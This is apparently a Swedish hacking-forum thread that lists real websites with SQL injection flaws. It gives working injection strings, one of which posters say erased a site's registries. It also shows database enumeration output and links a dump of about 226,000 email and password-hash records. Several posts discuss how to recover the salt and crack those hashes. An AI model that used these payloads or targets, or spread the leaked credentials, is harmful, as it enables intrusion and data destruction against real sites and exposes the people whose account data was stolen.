Samling av sidor med säkerhetsbrister - Del 2

Du kan ju hoppas på svar men chansen är inte stor. Inlägget skrevs juni 2011 supremus var online senast 2013 juni så snart ett år sedan..

http://www.swedsnus.nu/register_discount.php

insert into discount_phone_registry (phone_nbr,reg_date) values ('DITT_TELEFONNUMMER_INPUT_HÄR',date(now()))

Escape:
unik_sträng_här',date(now()))#


Liknande sårbarhet:
http://www.swedsnus.nu/unregister_discount.php

Fast med delete. (Rensar deras telefonregister nu).

asdf'/**/or/**/true# på båda rensade hela deras erbjudanderegister.

http://everodrc.se/framsida/visa_kategori.php?kat=312&sort=benamning

MySQL >= 5.0 AND error-based

• available databases [8]:
• clydesda_1
• clydesda_2
• clydesda_c
• clydesda_j
• clydesda_k
• clydesda_p
• clydesda_w
• information_schema

Tack till .Chloe som hjälpte till

http://anv.lararkansliet.se/index.php?type=

MySQL UNION query (random number) - 2 columns

• available databases [2]:
• information_schema
• lararforbundet_se

Count of lararforbundet_se.users is 226004

Och här kommer dumpen

https://anonfiles.com/file/1f24309321c80abdb95b9969e1370886

226004 rader med id:email:password(md5) - Antagligen saltade hashar, har inte riktigt kollat upp det. En av Sveriges största dumpar må tro.

Verkar som det är saltade hashar.

Testade att använda email och md5(email) som salt på ett gäng hashar utan lycka.

Jag har haft en dump från denna ett tag.. Min dump har ca 200st färre... Men som sagt saltade är dom har inte kollat efter saltet nått så vet inte riktigt vad det är saltat med... Kommer nog inte heller lägga tid på det tror jag... Får för mig att de var någon här på FB som bad mig fixa user tabeln så jag gjorde de och pm'a den...

Aha, men jag hjälpte bara butkus med att dumpa allt eftersom jag har hastigheten(och anonymiteten) till att göra det. Sen hjälpa med rätt kommando för att plocka ut datan.

Ang. approachen att försöka få fram saltet så kan man försöka knäcka iallafall 1 av de 200k hasharna som finns och utgå ifrån resultatet, eller skapa ett konto och sedan kolla i databasen vad hashen fick för värde.

Ger 0 resultat så nog ett dynamiskt salt som räknas fram på något sätt. Eller bara bra lösenordspolicy.

Ja jag hjälpte bara en jag med...


Tror knappast på att det är lösenordspolicyn som är bra så nog är det ett salt...

Blev visst fart där

Du har inte kvar användarnamnen?

Fanns inga användarnamn då och antar att det inte fanns nu heller allt då var

id:mail: password